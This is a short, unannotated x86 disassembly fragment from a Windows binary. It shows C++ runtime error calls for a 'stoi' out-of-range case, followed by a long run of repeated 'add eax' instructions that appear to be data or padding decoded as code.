call sub.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__
push str.stoi_argument_out_of_range
call sub.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__
imul ebx, dword [edx - 0x7335ffc0], 0x40
add byte [ecx + 1795178645], dl
mov word [eax], es
bound ebx, qword [edx - 0x7394ffc0]
inc eax
add byte [eax], al
add eax, 0x5050505
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 33621253
add eax, 84215045
add eax, 50660613
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84148997
add eax, 50595077
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 50660613
int3